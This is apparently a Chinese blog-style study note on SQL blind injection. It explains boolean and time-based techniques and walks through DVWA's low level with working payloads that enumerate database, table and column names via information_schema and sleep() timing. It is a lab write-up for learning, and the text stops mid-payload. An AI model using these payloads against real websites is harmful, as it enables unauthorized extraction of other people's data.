写在前面:
当时刷sqli-labs也浑浑噩噩没有做啥总结,现在就先从sql盲注总结开始吧
SQL Injection(Blind)
SQL盲注与一般注入的区别在于:一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知
sql盲注又分为布尔盲注,时间盲注和基于报错的盲注
理论上,能够布尔盲注就一定能时间盲注,能够时间盲注不一定能布尔盲注。相比之下,布尔盲注稳定性更好,时间盲注适用范围更广,但因为时间盲注的实现原理是基于timeout的,稳定性与效率不如布尔注入。在盲注测试时,通常先测试是否可以布尔盲注,若不行再尝试时间盲注。
先逐个来学习一下
布尔盲注
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注利用
该语句判断数据库个数,当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n
该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n
该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
相关函数学习
Length() 返回字符串的长度
substr() 截取字符串,偏移是从1开始,而不是0开始
ascii() 返回字符的ascii码
count(column_name) 返回指定列的值的数目(NULL 不计入)
时间盲注
1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
2.时间盲注利用
该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
相关函数学习
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)
low
输入1
显示存在
输入1 and 1=1 或 1 and 1=2
均显示存在
输入1' and 1=1 #
显示存在
输入1'and 1=2 #
不存在
存在字符型盲注
布尔盲注
-
查数据库前要先判断数据库的长度
依次输入1' and length(database())=x #
(x为大于等于1的整数)
当显示存在时即为数据库长度
发现当x=4时显示存在,故数据库长度为4 -
二分法找数据库名
依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定库名例
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
…重复上述步骤,就可以得到完整的数据库名dvwa
-
找数据库中的表
首先确定数据库中表的数量
1' and (select count (table_name) from information_schema.tables where table_schema=database())=x #
(x为大于等于1的整数)
当显示存在时即可判断表的数量
最终当x=2显示存在即表的数量为2然后确定表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #
(x为大于等于1的整数)
当显示存在时即可判断表的长度
当x=9显示存在即表的长度为9然后同样二分法确定表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定表名例
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
…重复上述步骤可得到出两个表名guestbook、users
-
找表中的字段
首先找到字段的数量
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #
当显示存在时即为字段数
最后当x=8时显示存在即字段数users字段数为8然后找字段名
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #
当x=7时显示存在即users表的第一个字段为7个字符长度最后也是二分法确定字段名
时间盲注
- 判断注入类型
输入1’ and sleep(6) #,有明显延迟;
输入1 and sleep(6) #,没有延迟;
说明为字符型盲注
- 找库名
先确定库名长
1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1